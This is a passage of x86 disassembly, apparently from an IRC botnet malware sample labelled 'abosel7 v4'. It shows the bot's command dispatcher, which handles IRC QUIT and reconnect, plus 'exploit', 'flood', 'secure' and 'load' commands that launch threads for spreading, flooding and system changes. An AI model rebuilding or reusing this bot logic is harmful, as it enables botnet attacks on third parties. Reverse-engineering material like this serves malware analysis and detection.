		jle	short loc_403FCB
		push	offset unk_42BC34
		jmp	loc_409601
; ---------------------------------------------------------------------------

loc_403FCB:				; CODE XREF: sub_401ACD+24F2j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_419C64
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_403FEA
		push	offset unk_42BC0C
		jmp	loc_409601
; ---------------------------------------------------------------------------

loc_403FEA:				; CODE XREF: sub_401ACD+2511j
		push	offset unk_42BBEC
		jmp	loc_409601
; ---------------------------------------------------------------------------

loc_403FF4:				; CODE XREF: sub_401ACD+18CFj
					; sub_401ACD+18E4j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40A7CE
		jmp	loc_401E91
; ---------------------------------------------------------------------------

loc_40400D:				; CODE XREF: sub_401ACD+18A5j
					; sub_401ACD+18BAj
		push	[ebp+esi+var_8C]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_416C28
		jmp	loc_401E91
; ---------------------------------------------------------------------------

loc_40402A:				; CODE XREF: sub_401ACD+187Bj
					; sub_401ACD+1890j
		or	edi, 0FFFFFFFFh
		nop
		call	near ptr 2680CD4h
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_404053
		push	esi
		call	sub_41B779
		pop	ecx
		mov	edi, eax

loc_404053:				; CODE XREF: sub_401ACD+257Bj
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_40406C
		cmp	edi, 0FFFFFFFFh
		jnz	loc_409854

loc_40406C:				; CODE XREF: sub_401ACD+2594j
		push	ebx
		call	sub_41A88B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BBD4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC

loc_4040AA:				; CODE XREF: sub_401ACD+529Cj
		add	esp, 24h
		jmp	loc_409854
; ---------------------------------------------------------------------------

loc_4040B2:				; CODE XREF: sub_401ACD+1851j
					; sub_401ACD+1866j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415A2F
		add	esp, 0Ch
		push	offset dword_42BBB4
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_4040D0:				; CODE XREF: sub_401ACD+1827j
					; sub_401ACD+183Cj
		push	27h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_404104
		cmp	[ebp+var_8], ebx
		jnz	loc_401E94
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42BB94
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72

loc_4040FC:				; CODE XREF: sub_401ACD+7237j
		add	esp, 14h
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_404104:				; CODE XREF: sub_401ACD+260Dj
		push	[ebp+var_88]
		lea	eax, [ebp+var_B2C]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_B30], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_AA4], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_AA0], eax
		mov	[ebp+var_AA8], ebx
		jz	short loc_404165
		push	esi
		push	offset aFull	; "full"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404165
		mov	[ebp+var_AA8], 1

loc_404165:				; CODE XREF: sub_401ACD+267Bj
					; sub_401ACD+268Cj
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB70
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	27h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_AAC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_B30]
		push	ebx
		push	eax
		push	offset sub_4198EB
		push	ebx
		push	ebx
		nop
		call	near ptr 2670604h
		mov	ecx, [ebp+var_AAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_4041D3

loc_4041BD:				; CODE XREF: sub_401ACD+2704j
		cmp	[ebp+var_A9C], ebx
		jnz	loc_409630
		push	32h
		nop
		call	near ptr 2670580h
		jmp	short loc_4041BD
; ---------------------------------------------------------------------------

loc_4041D3:				; CODE XREF: sub_401ACD+26EEj
		nop
		call	near ptr 2670E9Dh
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BB34
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_409630
; ---------------------------------------------------------------------------

loc_4041F3:				; CODE XREF: sub_401ACD+17FDj
					; sub_401ACD+1812j
		cmp	[ebp+var_8], ebx
		jnz	short loc_404212
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42BB18
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_404212:				; CODE XREF: sub_401ACD+2729j
		push	[ebp+arg_4]
		call	dword_4CB03C
		call	dword_4CAEFC
		call	sub_418359
		push	ebx
		nop
		call	near ptr 77E75CB5h

loc_40422D:				; CODE XREF: sub_401ACD+17D3j
					; sub_401ACD+17E8j
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_41AA42
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	offset dword_42BAFC
		jmp	short loc_404285
; ---------------------------------------------------------------------------

loc_404258:				; CODE XREF: sub_401ACD+17A9j
					; sub_401ACD+17BEj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41ACF6
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	offset dword_42BAE0

loc_404285:				; CODE XREF: sub_401ACD+24E3j
					; sub_401ACD+2789j
		call	sub_4151AC
		add	esp, 18h
		jmp	loc_409854
; ---------------------------------------------------------------------------

loc_404292:				; CODE XREF: sub_401ACD+177Fj
					; sub_401ACD+1794j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41524C
		jmp	loc_401E91
; ---------------------------------------------------------------------------

loc_4042AB:				; CODE XREF: sub_401ACD+1755j
					; sub_401ACD+176Aj
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_1594],	bl
		jz	short loc_4042EA
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4042EA
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4042EA
		push	eax
		push	offset aS_1	; "%s"
		lea	eax, [ebp+var_1594]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 10h

loc_4042EA:				; CODE XREF: sub_401ACD+27E7j
					; sub_401ACD+27F2j ...
		push	[ebp+var_88]
		lea	eax, [ebp+var_1614]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1618],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1510],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_150C],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BAC8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	25h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_1514],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1618]
		push	ebx
		push	eax
		push	offset byte_41528D
		push	ebx
		push	ebx
		call	near ptr 2670604h
		nop
		mov	ecx, [ebp+var_1514]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40438D

loc_404377:				; CODE XREF: sub_401ACD+28BEj
		cmp	[ebp+var_1508],	ebx
		jnz	loc_401E94
		push	32h
		nop
		call	near ptr 2670580h
		jmp	short loc_404377
; ---------------------------------------------------------------------------

loc_40438D:				; CODE XREF: sub_401ACD+28A8j
		nop
		call	near ptr 2670E9Dh
		push	eax
		push	offset unk_42BA90
		jmp	loc_402077
; ---------------------------------------------------------------------------

loc_40439E:				; CODE XREF: sub_401ACD+172Bj
					; sub_401ACD+1740j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415134
		push	offset dword_42BA78
		call	sub_4151AC

loc_4043B9:				; CODE XREF: sub_401ACD+2453j
		add	esp, 10h
		jmp	loc_409854
; ---------------------------------------------------------------------------

loc_4043C1:				; CODE XREF: sub_401ACD+1701j
					; sub_401ACD+1716j
		push	[ebp+var_88]
		lea	eax, [ebp+var_BC4]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_BC8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_B3C], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_B38], eax
		jz	short loc_40441B
		push	offset dword_42BA74
		push	esi
		call	sub_41C070
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_B40], eax
		jmp	short loc_404421
; ---------------------------------------------------------------------------

loc_40441B:				; CODE XREF: sub_401ACD+2932j
		mov	[ebp+var_B40], ebx

loc_404421:				; CODE XREF: sub_401ACD+294Cj
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BA54
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	28h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_B44], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_BC8]
		push	ebx
		push	eax
		push	offset byte_40B161
		push	ebx
		push	ebx
		call	near ptr 2670604h
		nop
		mov	ecx, [ebp+var_B44]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40448F

loc_404479:				; CODE XREF: sub_401ACD+29C0j
		cmp	[ebp+var_B34], ebx
		jnz	loc_406CFF
		push	32h
		nop
		call	near ptr 2670580h
		jmp	short loc_404479
; ---------------------------------------------------------------------------

loc_40448F:				; CODE XREF: sub_401ACD+29AAj
		call	near ptr 2670E9Dh
		nop
		push	eax
		push	offset unk_42BA18
		jmp	loc_409226
; ---------------------------------------------------------------------------

loc_4044A0:				; CODE XREF: sub_401ACD+1685j
					; sub_401ACD+169Aj
		push	offset aDark	; "Dark"
		push	offset dword_42BA00

loc_4044AA:				; CODE XREF: sub_401ACD+2A1Cj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h
		jmp	loc_406CFF
; ---------------------------------------------------------------------------

loc_4044D7:				; CODE XREF: sub_401ACD+165Bj
					; sub_401ACD+1670j
		push	dword_4CACE4
		call	sub_41A88B
		pop	ecx
		push	eax
		push	offset unk_42B9D4
		jmp	short loc_4044AA
; ---------------------------------------------------------------------------

loc_4044EB:				; CODE XREF: sub_401ACD+1631j
					; sub_401ACD+1646j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40451D
		cmp	[ebp+var_C], ebx
		jz	short loc_40452C
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40452C
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		jmp	short loc_40452C
; ---------------------------------------------------------------------------

loc_40451D:				; CODE XREF: sub_401ACD+2A27j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		pop	ecx
		pop	ecx

loc_40452C:				; CODE XREF: sub_401ACD+2A2Cj
					; sub_401ACD+2A3Bj ...
		push	0FFFFFFFEh
		jmp	loc_401E96
; ---------------------------------------------------------------------------

loc_404533:				; CODE XREF: sub_401ACD+1607j
					; sub_401ACD+161Cj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		push	offset dword_42B984
		call	sub_4151AC
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_401E97
; ---------------------------------------------------------------------------

loc_404555:				; CODE XREF: sub_401ACD+15DDj
					; sub_401ACD+15F2j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		push	offset dword_42B950
		call	sub_4151AC
		add	esp, 0Ch
		jmp	loc_4097B9
; ---------------------------------------------------------------------------

loc_404574:				; CODE XREF: sub_401ACD+15B3j
					; sub_401ACD+15C8j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B7DA
		jmp	loc_404933
; ---------------------------------------------------------------------------

loc_40458A:				; CODE XREF: sub_401ACD+1589j
					; sub_401ACD+159Ej
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B785
		jmp	loc_404933
; ---------------------------------------------------------------------------

loc_4045A0:				; CODE XREF: sub_401ACD+155Fj
					; sub_401ACD+1574j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B719
		jmp	loc_404933
; ---------------------------------------------------------------------------

loc_4045B6:				; CODE XREF: sub_401ACD+1535j
					; sub_401ACD+154Aj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B64A
		jmp	loc_404933
; ---------------------------------------------------------------------------

loc_4045CC:				; CODE XREF: sub_401ACD+1490j
					; sub_401ACD+14A5j
		push	[ebp+esi+var_8C]
		push	27h
		push	offset dword_42B940
		push	offset dword_42B930
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_4045E4:				; CODE XREF: sub_401ACD+1466j
					; sub_401ACD+147Bj
		push	[ebp+esi+var_8C]
		push	24h
		push	offset dword_42B924
		push	offset dword_42B914
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_4045FC:				; CODE XREF: sub_401ACD+1082j
					; sub_401ACD+1097j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_40461B
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_40461B
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_404620
; ---------------------------------------------------------------------------

loc_40461B:				; CODE XREF: sub_401ACD+2B38j
					; sub_401ACD+2B43j
		mov	eax, dword_429074

loc_404620:				; CODE XREF: sub_401ACD+2B4Cj
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_590], eax
		cmp	esi, ebx
		jz	short loc_404645
		push	esi

loc_404632:				; CODE XREF: sub_401ACD+2B87j
		lea	eax, [ebp+var_5A0]
		push	10h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_40465C
; ---------------------------------------------------------------------------

loc_404645:				; CODE XREF: sub_401ACD+2B62j
		cmp	[ebp+var_8FF], bl
		jz	short loc_404656
		lea	eax, [ebp+var_C4]
		push	eax
		jmp	short loc_404632
; ---------------------------------------------------------------------------

loc_404656:				; CODE XREF: sub_401ACD+2B7Ej
		mov	[ebp+var_5A0], bl

loc_40465C:				; CODE XREF: sub_401ACD+2B76j
		mov	eax, [ebp+var_4]
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_584], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_620]
		push	eax
		mov	[ebp+var_624], esi
		call	sub_41B980
		add	esp, 0Ch
		push	[ebp+var_590]
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B8EC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	19h
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_58C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_624]
		push	ebx
		push	eax
		push	offset byte_4111CD
		push	ebx
		push	ebx
		nop
		call	near ptr 2670604h
		mov	ecx, [ebp+var_58C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40470D

loc_4046F7:				; CODE XREF: sub_401ACD+2C3Ej
		cmp	[ebp+var_57C], ebx
		jnz	loc_401E94
		push	32h
		nop
		call	near ptr 2670580h
		jmp	short loc_4046F7
; ---------------------------------------------------------------------------

loc_40470D:				; CODE XREF: sub_401ACD+2C28j
		nop
		call	near ptr 2670E9Dh
		push	eax
		push	offset dword_42B8B0
		jmp	loc_402077
; ---------------------------------------------------------------------------

loc_40471E:				; CODE XREF: sub_401ACD+1018j
					; sub_401ACD+102Dj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40473E
		push	esi
		call	sub_41B779
		test	ax, ax
		pop	ecx
		jz	short loc_40473E
		push	esi
		call	sub_41B779
		pop	ecx
		jmp	short loc_404744
; ---------------------------------------------------------------------------

loc_40473E:				; CODE XREF: sub_401ACD+2C5Aj
					; sub_401ACD+2C66j
		mov	ax, word_429084

loc_404744:				; CODE XREF: sub_401ACD+2C6Fj
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		mov	[ebp+var_97C], ax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_96C], eax
		lea	eax, [ebp+var_9FC]
		push	eax
		mov	[ebp+var_A00], esi
		mov	[ebp+var_970], edi
		call	sub_41B980
		movzx	eax, [ebp+var_97C]
		add	esp, 0Ch
		push	eax
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B884
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	edi
		push	eax
		push	[ebp+var_88]
		push	esi
		call	sub_409A72
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	6
		push	eax
		call	sub_40B0F6
		add	esp, 30h
		mov	[ebp+var_978], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A00]
		push	ebx
		push	eax
		push	offset byte_40E503
		push	ebx
		push	ebx
		nop
		call	near ptr 2670604h
		mov	ecx, [ebp+var_978]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_404813

loc_4047FD:				; CODE XREF: sub_401ACD+2D44j
		cmp	[ebp+var_968], ebx
		jnz	loc_401E94
		push	32h
		nop
		call	near ptr 2670580h
		jmp	short loc_4047FD
; ---------------------------------------------------------------------------

loc_404813:				; CODE XREF: sub_401ACD+2D2Ej
		nop
		call	near ptr 2670E9Dh
		push	eax
		push	offset unk_42B844
		jmp	loc_402077
; ---------------------------------------------------------------------------

loc_404824:				; CODE XREF: sub_401ACD+FC4j
					; sub_401ACD+FD9j ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40484C
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C070
		pop	ecx
		mov	[ebp+var_A10], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_404856

loc_40484C:				; CODE XREF: sub_401ACD+2D66j
		mov	[ebp+var_A10], 1

loc_404856:				; CODE XREF: sub_401ACD+2D7Dj
		push	[ebp+var_88]
		lea	eax, [ebp+var_A94]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_A10], ebx
		mov	[ebp+var_A98], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_A0C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_A08], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_40489D
		mov	eax, offset aUnsecuring	; "Unsecuring"

loc_40489D:				; CODE XREF: sub_401ACD+2DC9j
		push	eax
		push	offset dword_42B810
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	22h
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_A14], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A98]
		push	ebx
		push	eax
		push	offset sub_419E19
		push	ebx
		push	ebx
		call	near ptr 2670604h
		nop
		mov	ecx, [ebp+var_A14]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_404911

loc_4048FB:				; CODE XREF: sub_401ACD+2E42j
		cmp	[ebp+var_A04], ebx
		jnz	loc_4083BC
		push	32h
		nop
		call	near ptr 2670580h
		jmp	short loc_4048FB
; ---------------------------------------------------------------------------

loc_404911:				; CODE XREF: sub_401ACD+2E2Cj
		nop
		call	near ptr 2670E9Dh
		push	eax
		push	offset dword_42B7D4
		jmp	loc_4083AD
; ---------------------------------------------------------------------------

loc_404922:				; CODE XREF: sub_401ACD+F9Aj
					; sub_401ACD+FAFj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41A6AE

loc_404933:				; CODE XREF: sub_401ACD+2AB8j
					; sub_401ACD+2ACEj ...
		add	esp, 0Ch
		jmp	loc_409854
; ---------------------------------------------------------------------------

loc_40493B:				; CODE XREF: sub_401ACD+F70j
					; sub_401ACD+F85j
		push	offset unk_42B724
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_404945:				; CODE XREF: sub_401ACD+F46j
					; sub_401ACD+F5Bj
		push	offset aAbosel7V4 ; "abosel7 v4"
		push	offset dword_42B714
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_404954:				; CODE XREF: sub_401ACD+F1Cj
					; sub_401ACD+F31j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4049AE
		push	esi
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		jl	short loc_4049A6
		cmp	eax, 3
		jge	short loc_4049A6
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_40499E
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C9F0
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_40828B
; ---------------------------------------------------------------------------

loc_40499E:				; CODE XREF: sub_401ACD+2EB0j
		push	eax
		push	offset unk_42B6E8
		jmp	short loc_4049EB
; ---------------------------------------------------------------------------

loc_4049A6:				; CODE XREF: sub_401ACD+2E9Bj
					; sub_401ACD+2EA0j
		push	eax
		push	offset unk_42B6BC
		jmp	short loc_4049EB
; ---------------------------------------------------------------------------

loc_4049AE:				; CODE XREF: sub_401ACD+2E90j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_4049B3:				; CODE XREF: sub_401ACD+2F02j
		push	[ebp+var_90]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4049D6
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_4049B3
		jmp	loc_40828B
; ---------------------------------------------------------------------------

loc_4049D6:				; CODE XREF: sub_401ACD+2EF6j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42C9F0

loc_4049EB:				; CODE XREF: sub_401ACD+2152j
					; sub_401ACD+2ED7j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		jmp	loc_408288
; ---------------------------------------------------------------------------

loc_4049FC:				; CODE XREF: sub_401ACD+EF2j
					; sub_401ACD+F07j
		push	[ebp+var_8C]
		push	offset dword_42C964
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4034A5
		call	sub_40B2BF
		push	ebx
		nop
		call	near ptr 77E75CB5h

loc_404A22:				; CODE XREF: sub_401ACD+1A11j
		push	offset aGet	; "get"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404AB0
		cmp	dword_4CE758, ebx
		jz	short loc_404A4A
		push	offset dword_4CE138

loc_404A40:				; CODE XREF: sub_401ACD+2FE1j
		push	offset unk_42B680
		jmp	loc_404AE0
; ---------------------------------------------------------------------------

loc_404A4A:				; CODE XREF: sub_401ACD+2F6Cj
		push	10h
		pop	eax
		mov	[ebp+var_2CC], eax
		push	eax
		lea	eax, [ebp+var_2E8]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_2CC]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		push	[ebp+arg_4]
		nop
		call	near ptr 71AB157Eh
		movzx	eax, [ebp+var_2E2]
		push	eax
		movzx	eax, [ebp+var_2E3]
		push	eax
		movzx	eax, [ebp+var_2E4]
		push	eax
		lea	eax, [ebp+var_E30]
		push	offset aD_D_D_	; "%d.%d.%d.*"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_E30]
		push	eax
		jmp	short loc_404A40
; ---------------------------------------------------------------------------

loc_404AB0:				; CODE XREF: sub_401ACD+2F64j
		push	esi
		call	dword_4CAFE4
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_404AC4
		push	offset unk_42B640
		jmp	short loc_404AE0
; ---------------------------------------------------------------------------

loc_404AC4:				; CODE XREF: sub_401ACD+2FEEj
		push	offset dword_4CE138
		call	sub_41BEB0
		pop	ecx
		mov	dword_4CE758, 1
		pop	ecx
		push	esi
		push	offset unk_42B614

loc_404AE0:				; CODE XREF: sub_401ACD+2F78j
					; sub_401ACD+2FF5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_4034FD
; ---------------------------------------------------------------------------

loc_404AF4:				; CODE XREF: sub_401ACD+19F9j
		push	edi
		push	offset aExploit	; "exploit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404BF7
		mov	eax, [ebp+var_4]
		mov	esi, offset aF	; "#f"
		mov	[ebp+var_13E4],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_13E0],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13F4],	eax
		mov	edi, 80h
		push	esi
		lea	eax, [ebp+var_1474]
		push	edi
		push	eax
		mov	[ebp+var_13EC],	1
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_14F4]
		push	esi
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_1504]
		push	[ebp+arg_10]
		push	10h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_1504]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B5DC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	8
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_13E8],	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		lea	eax, [ebp+var_1504]
		push	ebx
		push	eax
		push	offset byte_40B8A1
		push	ebx
		push	ebx
		nop
		call	near ptr 2670604h
		mov	ecx, [ebp+var_13E8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_404BE6

loc_404BD0:				; CODE XREF: sub_401ACD+3117j
		cmp	[ebp+var_13DC],	ebx
		jnz	loc_40828B
		push	32h
		call	near ptr 2670580h
		nop
		jmp	short loc_404BD0
; ---------------------------------------------------------------------------

loc_404BE6:				; CODE XREF: sub_401ACD+3101j
		call	near ptr 2670E9Dh
		nop
		push	eax
		push	offset unk_42B59C
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_404BF7:				; CODE XREF: sub_401ACD+3036j
		push	edi
		push	offset aReconnect_in ; "reconnect.in"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097C0
		push	edi
		push	offset aRin	; "rin"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097C0
		push	edi
		push	offset aReconnect_in_m ; "reconnect.in.ms"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409778
		push	edi
		push	offset aRinms	; "rinms"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409778
		push	[ebp+arg_8]
		push	offset aFlood	; "flood"
		call	sub_41C070
		mov	edi, dword_427078
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4057DE
		nop
		call	near ptr 2680CD4h
		push	eax
		call	sub_41B8D8
		push	[ebp+arg_10]
		push	offset aLoad	; "load"
		call	sub_41C070
		add	esp, 0Ch
